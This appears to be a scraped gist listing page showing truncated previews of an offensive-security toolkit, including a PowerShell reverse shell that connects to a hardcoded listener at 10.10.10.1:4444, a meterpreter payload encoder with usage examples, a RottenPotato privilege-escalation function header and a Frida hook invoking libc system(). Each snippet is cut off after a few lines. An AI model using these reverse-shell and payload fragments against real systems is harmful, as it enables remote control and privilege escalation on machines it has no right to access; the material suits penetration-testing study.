iw dev
iw dev $INTERFACE del
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json | |
import requests | |
import time | |
import urllib3 | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
access='' | |
secret='' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from lxml import etree | |
import argparse | |
import json | |
parser = argparse.ArgumentParser(description='Return ports from a nmap xml') | |
parser.add_argument('xml', type=argparse.FileType('r'), nargs=1, help='The nmap xml that should be processed') | |
parser.add_argument('--filter', help="filter on port or service text") | |
args = parser.parse_args() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# Example: python2 ps1encoder.py 10.0.0.1 4444 -p windows/x64/meterpreter/reverse_tcp -b > engage.bat | |
# Example: python2 ps1encoder.py 10.0.0.1 4444 -p windows/x64/meterpreter/reverse_tcp > engage.ps1 | |
import random | |
import string | |
import argparse | |
import base64 | |
import codecs |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$lhost="10.10.10.1"; | |
$lport=4444; | |
if (!(Get-NetTCPConnection -RemoteAddress $lhost -RemotePort $lport -ErrorAction SilentlyContinue)) { | |
$MAXCMDLENGTH=65535; | |
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport); | |
$stream = $client.GetStream(); | |
$bytes = (New-Object byte[] $MAXCMDLENGTH); | |
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> "); | |
$stream.Write($out, 0, $out.Length); | |
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
# | |
# References: | |
# - https://en.wikipedia.org/wiki/ElGamal_encryption | |
# - https://github.com/RyanRiddle/elgamal/blob/master/elgamal.py | |
# - https://www.debjitbiswas.com/elgamal/ | |
# - https://stackoverflow.com/questions/34119110/negative-power-in-modular-pow | |
import random |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-MSFRottenPotato | |
{ | |
<# | |
.SYNOPSIS | |
.DESCRIPTION | |
.PARAMETER Command |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
libc = { | |
library: 'libc.so', | |
system: function(command) { | |
f = new NativeFunction(Module.findExportByName(this.library, "system"), 'int32', ['pointer']); | |
retval = f(Memory.allocUtf8String(command)); | |
return retval; | |
}, | |
open: function(path, mode) { | |
f = new NativeFunction(Module.findExportByName(this.library, "open"), 'int32', ['pointer', 'int32']); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import codecs | |
import base64 | |
encodings = ['ascii', 'big5', 'big5hkscs', 'cp037', 'cp273', 'cp424', 'cp437', 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp856', 'cp857', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp864', 'cp865', 'cp866', 'cp869', 'cp874', 'cp875', 'cp932', 'cp949', 'cp950', 'cp1006', 'cp1026', 'cp1125', 'cp1140', 'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', 'cp1256', 'cp1257', 'cp1258', 'cp65001', 'euc_jp', 'euc_jis_2004', 'euc_jisx0213', 'euc_kr', 'gb2312', 'gbk', 'gb18030', 'hz', 'iso2022_jp', 'iso2022_jp_1', 'iso2022_jp_2', 'iso2022_jp_2004', 'iso2022_jp_3', 'iso2022_jp_ext', 'iso2022_kr', 'latin_1', 'iso8859_2', 'iso8859_3', 'iso8859_4', 'iso8859_5', 'iso8859_6', 'iso8859_7', 'iso8859_8', 'iso8859_9', 'iso8859_10', 'iso8859_11', 'iso8859_13', 'iso8859_14', 'iso8859_15', 'iso8859_16', 'johab', 'koi8_r', 'koi8_t', 'koi8_u', 'kz1048', 'mac_cyrillic', 'mac_greek', 'mac_iceland', 'mac_latin2', 'mac_roman', 'mac_turkish', 'ptcp154', 'shift_jis', 'shift_jis_ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import re | |
from bs4 import BeautifulSoup | |
import json | |
import random | |
import string | |
def randomstr(length=20): | |
charset = string.ascii_letters + string.digits | |
return ''.join([charset[random.randint(0, len(charset)-1)] for i in range(length)]) |